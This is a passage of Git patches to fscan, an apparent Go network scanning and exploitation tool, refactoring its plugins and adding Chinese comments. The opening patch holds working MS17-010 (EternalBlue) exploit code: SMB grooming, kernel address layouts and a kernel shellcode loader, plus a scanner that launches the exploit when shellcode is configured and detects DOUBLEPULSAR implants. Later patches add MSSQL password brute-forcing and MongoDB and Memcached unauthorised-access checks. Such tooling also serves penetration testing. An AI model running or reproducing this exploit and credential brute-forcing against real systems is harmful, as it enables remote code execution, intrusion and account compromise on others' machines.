buf.Write(vcNum) - // session key - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // security blob length - buf.Write([]byte{0x00, 0x00}) - // reserved - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // capabilities - buf.Write([]byte{0x00, 0x00, 0x00, 0x80}) - // byte count - buf.Write([]byte{0x16, 0x00}) - // Native OS - buf.Write(nativeOS) - // extra byte params - buf.Write(makeZero(17)) return buf.Bytes() } +// writeNetBIOSFreeHoleHeader 写入NetBIOS会话服务头 +func writeNetBIOSFreeHoleHeader(buf *bytes.Buffer) { + // 消息类型 + buf.WriteByte(0x00) + // 长度 + buf.Write([]byte{0x00, 0x00, 0x51}) +} + +// writeSMBFreeHoleHeader 写入SMB协议头 +func writeSMBFreeHoleHeader(buf *bytes.Buffer, flags2 []byte) { + // SMB标识 + buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) + // Session Setup AndX命令 + buf.WriteByte(0x73) + // NT状态码 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // 标志位 + buf.WriteByte(0x18) + // 标志位2 + buf.Write(flags2) + // 进程ID高位 + buf.Write([]byte{0x00, 0x00}) + // 签名1和2 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) + // 保留字段 + buf.Write([]byte{0x00, 0x00}) + // 树ID + buf.Write([]byte{0x00, 0x00}) + // 进程ID + buf.Write([]byte{0xFF, 0xFE}) + // 用户ID + buf.Write([]byte{0x00, 0x00}) + // 多路复用ID + buf.Write([]byte{0x40, 0x00}) +} + +// writeSessionSetupFreeHoleRequest 写入会话设置请求 +func writeSessionSetupFreeHoleRequest(buf *bytes.Buffer, vcNum, nativeOS []byte) { + // 字段数 + buf.WriteByte(0x0C) + // 无后续命令 + buf.WriteByte(0xFF) + // 保留字段 + buf.WriteByte(0x00) + // AndX偏移 + buf.Write([]byte{0x00, 0x00}) + // 最大缓冲区 + buf.Write([]byte{0x04, 0x11}) + // 最大并发数 + buf.Write([]byte{0x0A, 0x00}) + // VC编号 + buf.Write(vcNum) + // 会话密钥 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // 安全数据长度 + buf.Write([]byte{0x00, 0x00}) + // 保留字段 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // 功能标志 + buf.Write([]byte{0x00, 0x00, 0x00, 0x80}) + // 字节数 + buf.Write([]byte{0x16, 0x00}) + // 原生操作系统 + buf.Write(nativeOS) + // 额外参数 + buf.Write(makeZero(17)) +} + +// smb2Grooms 创建多个SMB2连接 func smb2Grooms(address string, grooms int) ([]net.Conn, error) { + // 创建SMB2头 header := makeSMB2Header() + var ( conns []net.Conn ok bool ) + + // 失败时关闭所有连接 defer func() { if ok { return } - for i := 0; i < len(conns); i++ { - _ = conns[i].Close() + for _, conn := range conns { + _ = conn.Close() } }() + + // 建立多个连接 for i := 0; i < grooms; i++ { - conn, err := net.Dial("tcp", address) + // 创建TCP连接 + conn, err := net.DialTimeout("tcp", address, 10*time.Second) if err != nil { - return nil, fmt.Errorf("failed to connect target: %s", err) + return nil, fmt.Errorf("[-] 连接目标失败: %v", err) } - _, err = conn.Write(header) - if err != nil { - return nil, fmt.Errorf("failed to send SMB2 header: %s", err) + + // 发送SMB2头 + if _, err = conn.Write(header); err != nil { + return nil, fmt.Errorf("[-] 发送SMB2头失败: %v", err) } + conns = append(conns, conn) } + ok = true return conns, nil } +const ( + packetMaxLen = 4204 // 数据包最大长度 + packetSetupLen = 497 // 数据包设置部分长度 +) + +// makeSMB2Header 创建SMB2协议头 func makeSMB2Header() []byte { buf := bytes.Buffer{} + + // SMB2协议标识 buf.Write([]byte{0x00, 0x00, 0xFF, 0xF7, 0xFE}) buf.WriteString("SMB") + + // 填充剩余字节 buf.Write(makeZero(124)) + return buf.Bytes() } -const ( - packetMaxLen = 4204 - packetSetupLen = 497 -) - +// makeSMB2Body 创建SMB2协议体 func makeSMB2Body(payload []byte) []byte { - const packetMaxPayload = packetMaxLen - packetSetupLen - // padding + const packetMaxPayload = packetMaxLen - packetSetupLen // 计算最大负载长度 buf := bytes.Buffer{} - buf.Write(makeZero(0x08)) - buf.Write([]byte{0x03, 0x00, 0x00, 0x00}) - buf.Write(makeZero(0x1C)) - buf.Write([]byte{0x03, 0x00, 0x00, 0x00}) - buf.Write(makeZero(0x74)) - // KI_USER_SHARED_DATA addresses - x64Address := []byte{0xb0, 0x00, 0xd0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} - buf.Write(bytes.Repeat(x64Address, 2)) - buf.Write(makeZero(0x10)) - x86Address := []byte{0xC0, 0xF0, 0xDF, 0xFF} - buf.Write(bytes.Repeat(x86Address, 2)) - buf.Write(makeZero(0xC4)) + // 写入填充数据 + writePaddingData(&buf) - // payload address - buf.Write([]byte{0x90, 0xF1, 0xDF, 0xFF}) - buf.Write(makeZero(0x04)) - buf.Write([]byte{0xF0, 0xF1, 0xDF, 0xFF}) - buf.Write(makeZero(0x40)) + // 写入KI_USER_SHARED_DATA地址 + writeSharedDataAddresses(&buf) - buf.Write([]byte{0xF0, 0x01, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) - buf.Write(makeZero(0x08)) - buf.Write([]byte{0x00, 0x02, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) - buf.WriteByte(0x00) + // 写入负载地址和相关数据 + writePayloadAddresses(&buf) - // set payload + // 写入负载数据 buf.Write(payload) - // fill out the rest, this can be randomly generated + // 填充剩余空间(可随机生成) buf.Write(makeZero(packetMaxPayload - len(payload))) return buf.Bytes() } +// writePaddingData 写入填充数据 +func writePaddingData(buf *bytes.Buffer) { + buf.Write(makeZero(0x08)) + buf.Write([]byte{0x03, 0x00, 0x00, 0x00}) + buf.Write(makeZero(0x1C)) + buf.Write([]byte{0x03, 0x00, 0x00, 0x00}) + buf.Write(makeZero(0x74)) +} + +// writeSharedDataAddresses 写入共享数据地址 +func writeSharedDataAddresses(buf *bytes.Buffer) { + // x64地址 + x64Address := []byte{0xb0, 0x00, 0xd0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} + buf.Write(bytes.Repeat(x64Address, 2)) + buf.Write(makeZero(0x10)) + + // x86地址 + x86Address := []byte{0xC0, 0xF0, 0xDF, 0xFF} + buf.Write(bytes.Repeat(x86Address, 2)) + buf.Write(makeZero(0xC4)) +} + +// writePayloadAddresses 写入负载地址和相关数据 +func writePayloadAddresses(buf *bytes.Buffer) { + // 负载地址 + buf.Write([]byte{0x90, 0xF1, 0xDF, 0xFF}) + buf.Write(makeZero(0x04)) + buf.Write([]byte{0xF0, 0xF1, 0xDF, 0xFF}) + buf.Write(makeZero(0x40)) + + // 附加数据 + buf.Write([]byte{0xF0, 0x01, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) + buf.Write(makeZero(0x08)) + buf.Write([]byte{0x00, 0x02, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) + buf.WriteByte(0x00) +} + +// makeZero 创建指定大小的零值字节切片 func makeZero(size int) []byte { return bytes.Repeat([]byte{0}, size) } -// loader is used to run user mode sc in the kernel mode. -// reference Metasploit-Framework: -// file: msf/external/source/sc/windows/multi_arch_kernel_queue_apc.asm -// binary: modules/exploits/windows/smb/ms17_010_eternalblue.rb: def make_kernel_sc +// loader 用于在内核模式下运行用户模式shellcode的加载器 +// 参考自Metasploit-Framework: +// 文件: msf/external/source/sc/windows/multi_arch_kernel_queue_apc.asm +// 二进制: modules/exploits/windows/smb/ms17_010_eternalblue.rb: def make_kernel_sc var loader = [...]byte{ 0x31, 0xC9, 0x41, 0xE2, 0x01, 0xC3, 0xB9, 0x82, 0x00, 0x00, 0xC0, 0x0F, 0x32, 0x48, 0xBB, 0xF8, 0x0F, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x89, 0x53, 0x04, 0x89, 0x03, 0x48, 0x8D, 0x05, 0x0A, From ec30b0d2a4477cd358932bb0212888804458476d Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 23:39:37 +0800 Subject: [PATCH 022/188] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96MS17010.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/MS17010.go | 158 ++++++++++++++++++++++++++++++++------------- 1 file changed, 112 insertions(+), 46 deletions(-) diff --git a/Plugins/MS17010.go b/Plugins/MS17010.go index 500b6e1..226b95e 100644 --- a/Plugins/MS17010.go +++ b/Plugins/MS17010.go @@ -7,90 +7,153 @@ import ( "fmt" "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Config" + "log" "strings" "time" ) var ( + // SMB协议加密的请求数据 negotiateProtocolRequest_enc = "G8o+kd/4y8chPCaObKK8L9+tJVFBb7ntWH/EXJ74635V3UTXA4TFOc6uabZfuLr0Xisnk7OsKJZ2Xdd3l8HNLdMOYZXAX5ZXnMC4qI+1d/MXA2TmidXeqGt8d9UEF5VesQlhP051GGBSldkJkVrP/fzn4gvLXcwgAYee3Zi2opAvuM6ScXrMkcbx200ThnOOEx98/7ArteornbRiXQjnr6dkJEUDTS43AW6Jl3OK2876Yaz5iYBx+DW5WjiLcMR+b58NJRxm4FlVpusZjBpzEs4XOEqglk6QIWfWbFZYgdNLy3WaFkkgDjmB1+6LhpYSOaTsh4EM0rwZq2Z4Lr8TE5WcPkb/JNsWNbibKlwtNtp94fIYvAWgxt5mn/oXpfUD" sessionSetupRequest_enc = "52HeCQEbsSwiSXg98sdD64qyRou0jARlvfQi1ekDHS77Nk/8dYftNXlFahLEYWIxYYJ8u53db9OaDfAvOEkuox+p+Ic1VL70r9Q5HuL+NMyeyeN5T5el07X5cT66oBDJnScs1XdvM6CBRtj1kUs2h40Z5Vj9EGzGk99SFXjSqbtGfKFBp0DhL5wPQKsoiXYLKKh9NQiOhOMWHYy/C+Iwhf3Qr8d1Wbs2vgEzaWZqIJ3BM3z+dhRBszQoQftszC16TUhGQc48XPFHN74VRxXgVe6xNQwqrWEpA4hcQeF1+QqRVHxuN+PFR7qwEcU1JbnTNISaSrqEe8GtRo1r2rs7+lOFmbe4qqyUMgHhZ6Pwu1bkhrocMUUzWQBogAvXwFb8" treeConnectRequest_enc = "+b/lRcmLzH0c0BYhiTaYNvTVdYz1OdYYDKhzGn/3T3P4b6pAR8D+xPdlb7O4D4A9KMyeIBphDPmEtFy44rtto2dadFoit350nghebxbYA0pTCWIBd1kN0BGMEidRDBwLOpZE6Qpph/DlziDjjfXUz955dr0cigc9ETHD/+f3fELKsopTPkbCsudgCs48mlbXcL13GVG5cGwKzRuP4ezcdKbYzq1DX2I7RNeBtw/vAlYh6etKLv7s+YyZ/r8m0fBY9A57j+XrsmZAyTWbhPJkCg==" transNamedPipeRequest_enc = "k/RGiUQ/tw1yiqioUIqirzGC1SxTAmQmtnfKd1qiLish7FQYxvE+h4/p7RKgWemIWRXDf2XSJ3K0LUIX0vv1gx2eb4NatU7Qosnrhebz3gUo7u25P5BZH1QKdagzPqtitVjASpxIjB3uNWtYMrXGkkuAm8QEitberc+mP0vnzZ8Nv/xiiGBko8O4P/wCKaN2KZVDLbv2jrN8V/1zY6fvWA==" trans2SessionSetupRequest_enc = "JqNw6PUKcWOYFisUoUCyD24wnML2Yd8kumx9hJnFWbhM2TQkRvKHsOMWzPVfggRrLl8sLQFqzk8bv8Rpox3uS61l480Mv7HdBPeBeBeFudZMntXBUa4pWUH8D9EXCjoUqgAdvw6kGbPOOKUq3WmNb0GDCZapqQwyUKKMHmNIUMVMAOyVfKeEMJA6LViGwyvHVMNZ1XWLr0xafKfEuz4qoHiDyVWomGjJt8DQd6+jgLk=" - negotiateProtocolRequest, _ = hex.DecodeString(AesDecrypt(negotiateProtocolRequest_enc, key)) - sessionSetupRequest, _ = hex.DecodeString(AesDecrypt(sessionSetupRequest_enc, key)) - treeConnectRequest, _ = hex.DecodeString(AesDecrypt(treeConnectRequest_enc, key)) - transNamedPipeRequest, _ = hex.DecodeString(AesDecrypt(transNamedPipeRequest_enc, key)) - trans2SessionSetupRequest, _ = hex.DecodeString(AesDecrypt(trans2SessionSetupRequest_enc, key)) + + // SMB协议解密后的请求数据 + negotiateProtocolRequest []byte + sessionSetupRequest []byte + treeConnectRequest []byte + transNamedPipeRequest []byte + trans2SessionSetupRequest []byte ) +func init() { + var err error + + // 解密协议请求 + decrypted, err := AesDecrypt(negotiateProtocolRequest_enc, key) + if err != nil { + log.Fatalf("解密协议请求失败: %v", err) + } + negotiateProtocolRequest, err = hex.DecodeString(decrypted) + if err != nil { + log.Fatalf("解码协议请求失败: %v", err) + } + + // 解密会话请求 + decrypted, err = AesDecrypt(sessionSetupRequest_enc, key) + if err != nil { + log.Fatalf("解密会话请求失败: %v", err) + } + sessionSetupRequest, err = hex.DecodeString(decrypted) + if err != nil { + log.Fatalf("解码会话请求失败: %v", err) + } + + // 解密连接请求 + decrypted, err = AesDecrypt(treeConnectRequest_enc, key) + if err != nil { + log.Fatalf("解密连接请求失败: %v", err) + } + treeConnectRequest, err = hex.DecodeString(decrypted) + if err != nil { + log.Fatalf("解码连接请求失败: %v", err) + } + + // 解密管道请求 + decrypted, err = AesDecrypt(transNamedPipeRequest_enc, key) + if err != nil { + log.Fatalf("解密管道请求失败: %v", err) + } + transNamedPipeRequest, err = hex.DecodeString(decrypted) + if err != nil { + log.Fatalf("解码管道请求失败: %v", err) + } + + // 解密会话设置请求 + decrypted, err = AesDecrypt(trans2SessionSetupRequest_enc, key) + if err != nil { + log.Fatalf("解密会话设置请求失败: %v", err) + } + trans2SessionSetupRequest, err = hex.DecodeString(decrypted) + if err != nil { + log.Fatalf("解码会话设置请求失败: %v", err) + } +} + +// MS17010 扫描入口函数 func MS17010(info *Config.HostInfo) error { + // 暴力破解模式下跳过扫描 if Common.IsBrute { return nil } + + // 执行MS17-010漏洞扫描 err := MS17010Scan(info) if err != nil { - errlog := fmt.Sprintf("[-] Ms17010 %v %v", info.Host, err) - Common.LogError(errlog) + Common.LogError(fmt.Sprintf("[-] MS17010 %v %v", info.Host, err)) } return err } +// MS17010Scan 执行MS17-010漏洞扫描 func MS17010Scan(info *Config.HostInfo) error { ip := info.Host - // connecting to a host in LAN if reachable should be very quick + + // 连接目标445端口 conn, err := Common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(Common.Timeout)*time.Second) if err != nil { - //fmt.Printf("failed to connect to %s\n", ip) return err } defer conn.Close() - err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)) - if err != nil { - //fmt.Printf("failed to connect to %s\n", ip) + + // 设置连接超时 + if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil { return err } - _, err = conn.Write(negotiateProtocolRequest) - if err != nil { + + // 发送SMB协议协商请求 + if _, err = conn.Write(negotiateProtocolRequest); err != nil { return err } + + // 读取响应 reply := make([]byte, 1024) - // let alone half packet if n, err := conn.Read(reply); err != nil || n < 36 { return err } + // 检查协议响应状态 if binary.LittleEndian.Uint32(reply[9:13]) != 0 { - // status != 0 return err } - _, err = conn.Write(sessionSetupRequest) - if err != nil { + // 发送会话建立请求 + if _, err = conn.Write(sessionSetupRequest); err != nil { return err } + + // 读取响应 n, err := conn.Read(reply) if err != nil || n < 36 { return err } + // 检查会话响应状态 if binary.LittleEndian.Uint32(reply[9:13]) != 0 { - // status != 0 - //fmt.Printf("can't determine whether %s is vulnerable or not\n", ip) - var Err = errors.New("can't determine whether target is vulnerable or not") - return Err + return errors.New("无法确定目标是否存在漏洞") } - // extract OS info + // 提取操作系统信息 var os string sessionSetupResponse := reply[36:n] if wordCount := sessionSetupResponse[0]; wordCount != 0 { - // find byte count byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9]) if n != int(byteCount)+45 { - fmt.Println("[-]", ip+":445", "ms17010 invalid session setup AndX response") + fmt.Printf("[-] %s:445 MS17010无效的会话响应\n", ip) } else { - // two continous null bytes indicates end of a unicode string + // 查找Unicode字符串结束标记(两个连续的0字节) for i := 10; i < len(sessionSetupResponse)-1; i++ { if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 { os = string(sessionSetupResponse[10:i]) @@ -99,68 +162,71 @@ func MS17010Scan(info *Config.HostInfo) error { } } } - } + + // 获取用户ID userID := reply[32:34] treeConnectRequest[32] = userID[0] treeConnectRequest[33] = userID[1] - // TODO change the ip in tree path though it doesn't matter - _, err = conn.Write(treeConnectRequest) - if err != nil { + + // 发送树连接请求 + if _, err = conn.Write(treeConnectRequest); err != nil { return err } + if n, err := conn.Read(reply); err != nil || n < 36 { return err } + // 获取树ID并设置后续请求 treeID := reply[28:30] transNamedPipeRequest[28] = treeID[0] transNamedPipeRequest[29] = treeID[1] transNamedPipeRequest[32] = userID[0] transNamedPipeRequest[33] = userID[1] - _, err = conn.Write(transNamedPipeRequest) - if err != nil { + // 发送命名管道请求 + if _, err = conn.Write(transNamedPipeRequest); err != nil { return err } + if n, err := conn.Read(reply); err != nil || n < 36 { return err } + // 检查漏洞状态 if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 { - //fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os) - //if runtime.GOOS=="windows" {fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os) - //} else{fmt.Printf("\033[33m%s\tMS17-010\t(%s)\033[0m\n", ip, os)} - result := fmt.Sprintf("[+] MS17-010 %s\t(%s)", ip, os) - Common.LogSuccess(result) + // 目标存在MS17-010漏洞 + Common.LogSuccess(fmt.Sprintf("[+] MS17-010 %s\t(%s)", ip, os)) + + // 如果指定了shellcode,执行漏洞利用 defer func() { if Common.SC != "" { MS17010EXP(info) } }() - // detect present of DOUBLEPULSAR SMB implant + + // 检测DOUBLEPULSAR后门 trans2SessionSetupRequest[28] = treeID[0] trans2SessionSetupRequest[29] = treeID[1] trans2SessionSetupRequest[32] = userID[0] trans2SessionSetupRequest[33] = userID[1] - _, err = conn.Write(trans2SessionSetupRequest) - if err != nil { + if _, err = conn.Write(trans2SessionSetupRequest); err != nil { return err } + if n, err := conn.Read(reply); err != nil || n < 36 { return err } if reply[34] == 0x51 { - result := fmt.Sprintf("[+] MS17-010 %s has DOUBLEPULSAR SMB IMPLANT", ip) - Common.LogSuccess(result) + Common.LogSuccess(fmt.Sprintf("[+] MS17-010 %s 存在DOUBLEPULSAR后门", ip)) } - } else { - result := fmt.Sprintf("[*] OsInfo %s\t(%s)", ip, os) - Common.LogSuccess(result) + // 未检测到漏洞,仅输出系统信息 + Common.LogSuccess(fmt.Sprintf("[*] OsInfo %s\t(%s)", ip, os)) } - return err + return err } From 35fc0fadc5dcf712823bb9b0519e5cef525c51ef Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 23:39:45 +0800 Subject: [PATCH 023/188] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96MSSQL.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/MSSQL.go | 80 +++++++++++++++++++++++++++++++----------------- 1 file changed, 52 insertions(+), 28 deletions(-) diff --git a/Plugins/MSSQL.go b/Plugins/MSSQL.go index f12e87a..91bad28 100644 --- a/Plugins/MSSQL.go +++ b/Plugins/MSSQL.go @@ -10,49 +10,73 @@ import ( "time" ) +// MssqlScan 执行MSSQL服务扫描 func MssqlScan(info *Config.HostInfo) (tmperr error) { if Common.IsBrute { return } + starttime := time.Now().Unix() + + // 尝试用户名密码组合 for _, user := range Common.Userdict["mssql"] { for _, pass := range Common.Passwords { + // 替换密码中的用户名占位符 pass = strings.Replace(pass, "{user}", user, -1) + flag, err := MssqlConn(info, user, pass) - if flag == true && err == nil { + if flag && err == nil { + return err + } + + // 记录错误信息 + errlog := fmt.Sprintf("[-] MSSQL %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) + tmperr = err + + if Common.CheckErrs(err) { + return err + } + + // 超时检查 + if time.Now().Unix()-starttime > (int64(len(Common.Userdict["mssql"])*len(Common.Passwords)) * Common.Timeout) { return err - } else { - errlog := fmt.Sprintf("[-] mssql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) - Common.LogError(errlog) - tmperr = err - if Common.CheckErrs(err) { - return err - } - if time.Now().Unix()-starttime > (int64(len(Common.Userdict["mssql"])*len(Common.Passwords)) * Common.Timeout) { - return err - } } } } return tmperr } -func MssqlConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) { - flag = false - Host, Port, Username, Password := info.Host, info.Ports, user, pass - dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v", Host, Username, Password, Port, time.Duration(Common.Timeout)*time.Second) - db, err := sql.Open("mssql", dataSourceName) - if err == nil { - db.SetConnMaxLifetime(time.Duration(Common.Timeout) * time.Second) - db.SetConnMaxIdleTime(time.Duration(Common.Timeout) * time.Second) - db.SetMaxIdleConns(0) - defer db.Close() - err = db.Ping() - if err == nil { - result := fmt.Sprintf("[+] mssql %v:%v:%v %v", Host, Port, Username, Password) - Common.LogSuccess(result) - flag = true - } +// MssqlConn 尝试MSSQL连接 +func MssqlConn(info *Config.HostInfo, user string, pass string) (bool, error) { + host, port, username, password := info.Host, info.Ports, user, pass + timeout := time.Duration(Common.Timeout) * time.Second + + // 构造连接字符串 + connStr := fmt.Sprintf( + "server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v", + host, username, password, port, timeout, + ) + + // 建立数据库连接 + db, err := sql.Open("mssql", connStr) + if err != nil { + return false, err } - return flag, err + defer db.Close() + + // 设置连接参数 + db.SetConnMaxLifetime(timeout) + db.SetConnMaxIdleTime(timeout) + db.SetMaxIdleConns(0) + + // 测试连接 + if err = db.Ping(); err != nil { + return false, err + } + + // 连接成功 + result := fmt.Sprintf("[+] MSSQL %v:%v:%v %v", host, port, username, password) + Common.LogSuccess(result) + return true, nil } From 6a452d59596b0a1b8adab8260f2642375ec86f71 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 23:40:03 +0800 Subject: [PATCH 024/188] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96Memcached.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/Memcached.go | 62 +++++++++++++++++++++++++------------------- 1 file changed, 36 insertions(+), 26 deletions(-) diff --git a/Plugins/Memcached.go b/Plugins/Memcached.go index cade9ba..1acdaa7 100644 --- a/Plugins/Memcached.go +++ b/Plugins/Memcached.go @@ -8,32 +8,42 @@ import ( "time" ) -func MemcachedScan(info *Config.HostInfo) (err error) { +// MemcachedScan 检测Memcached未授权访问 +func MemcachedScan(info *Config.HostInfo) error { realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) - client, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second) - defer func() { - if client != nil { - client.Close() - } - }() - if err == nil { - err = client.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)) - if err == nil { - _, err = client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten - if err == nil { - rev := make([]byte, 1024) - n, err := client.Read(rev) - if err == nil { - if strings.Contains(string(rev[:n]), "STAT") { - result := fmt.Sprintf("[+] Memcached %s unauthorized", realhost) - Common.LogSuccess(result) - } - } else { - errlog := fmt.Sprintf("[-] Memcached %v:%v %v", info.Host, info.Ports, err) - Common.LogError(errlog) - } - } - } + timeout := time.Duration(Common.Timeout) * time.Second + + // 建立TCP连接 + client, err := Common.WrapperTcpWithTimeout("tcp", realhost, timeout) + if err != nil { + return err } - return err + defer client.Close() + + // 设置超时时间 + if err := client.SetDeadline(time.Now().Add(timeout)); err != nil { + return err + } + + // 发送stats命令 + if _, err := client.Write([]byte("stats\n")); err != nil { + return err + } + + // 读取响应 + rev := make([]byte, 1024) + n, err := client.Read(rev) + if err != nil { + errlog := fmt.Sprintf("[-] Memcached %v:%v %v", info.Host, info.Ports, err) + Common.LogError(errlog) + return err + } + + // 检查响应内容 + if strings.Contains(string(rev[:n]), "STAT") { + result := fmt.Sprintf("[+] Memcached %s 未授权访问", realhost) + Common.LogSuccess(result) + } + + return nil } From dd8514784e60eb3cbe79a2fb99d8507756f659f5 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 23:40:11 +0800 Subject: [PATCH 025/188] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96Mongodb.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/Mongodb.go | 114 +++++++++++++++++++++++++++------------------ 1 file changed, 68 insertions(+), 46 deletions(-) diff --git a/Plugins/Mongodb.go b/Plugins/Mongodb.go index 82a6af2..25822b7 100644 --- a/Plugins/Mongodb.go +++ b/Plugins/Mongodb.go @@ -8,22 +8,80 @@ import ( "time" ) +// MongodbScan 执行MongoDB未授权扫描 func MongodbScan(info *Config.HostInfo) error { if Common.IsBrute { return nil } + _, err := MongodbUnauth(info) if err != nil { - errlog := fmt.Sprintf("[-] Mongodb %v:%v %v", info.Host, info.Ports, err) + errlog := fmt.Sprintf("[-] MongoDB %v:%v %v", info.Host, info.Ports, err) Common.LogError(errlog) } return err } -func MongodbUnauth(info *Config.HostInfo) (flag bool, err error) { - flag = false - // op_msg - packet1 := []byte{ +// MongodbUnauth 检测MongoDB未授权访问 +func MongodbUnauth(info *Config.HostInfo) (bool, error) { + // MongoDB查询数据包 + msgPacket := createOpMsgPacket() + queryPacket := createOpQueryPacket() + + realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) + + // 尝试OP_MSG查询 + reply, err := checkMongoAuth(realhost, msgPacket) + if err != nil { + // 失败则尝试OP_QUERY查询 + reply, err = checkMongoAuth(realhost, queryPacket) + if err != nil { + return false, err + } + } + + // 检查响应结果 + if strings.Contains(reply, "totalLinesWritten") { + result := fmt.Sprintf("[+] MongoDB %v 未授权访问", realhost) + Common.LogSuccess(result) + return true, nil + } + + return false, nil +} + +// checkMongoAuth 检查MongoDB认证状态 +func checkMongoAuth(address string, packet []byte) (string, error) { + // 建立TCP连接 + conn, err := Common.WrapperTcpWithTimeout("tcp", address, time.Duration(Common.Timeout)*time.Second) + if err != nil { + return "", err + } + defer conn.Close() + + // 设置超时时间 + if err := conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil { + return "", err + } + + // 发送查询包 + if _, err := conn.Write(packet); err != nil { + return "", err + } + + // 读取响应 + reply := make([]byte, 1024) + count, err := conn.Read(reply) + if err != nil { + return "", err + } + + return string(reply[:count]), nil +} + +// createOpMsgPacket 创建OP_MSG查询包 +func createOpMsgPacket() []byte { + return []byte{ 0x69, 0x00, 0x00, 0x00, // messageLength 0x39, 0x00, 0x00, 0x00, // requestID 0x00, 0x00, 0x00, 0x00, // responseTo @@ -32,8 +90,11 @@ func MongodbUnauth(info *Config.HostInfo) (flag bool, err error) { // sections db.adminCommand({getLog: "startupWarnings"}) 0x00, 0x54, 0x00, 0x00, 0x00, 0x02, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x67, 0x00, 0x10, 0x00, 0x00, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x57, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x02, 0x24, 0x64, 0x62, 0x00, 0x06, 0x00, 0x00, 0x00, 0x61, 0x64, 0x6d, 0x69, 0x6e, 0x00, 0x03, 0x6c, 0x73, 0x69, 0x64, 0x00, 0x1e, 0x00, 0x00, 0x00, 0x05, 0x69, 0x64, 0x00, 0x10, 0x00, 0x00, 0x00, 0x04, 0x6e, 0x81, 0xf8, 0x8e, 0x37, 0x7b, 0x4c, 0x97, 0x84, 0x4e, 0x90, 0x62, 0x5a, 0x54, 0x3c, 0x93, 0x00, 0x00, } - //op_query - packet2 := []byte{ +} + +// createOpQueryPacket 创建OP_QUERY查询包 +func createOpQueryPacket() []byte { + return []byte{ 0x48, 0x00, 0x00, 0x00, // messageLength 0x02, 0x00, 0x00, 0x00, // requestID 0x00, 0x00, 0x00, 0x00, // responseTo @@ -45,43 +106,4 @@ func MongodbUnauth(info *Config.HostInfo) (flag bool, err error) { // query db.adminCommand({getLog: "startupWarnings"}) 0x21, 0x00, 0x00, 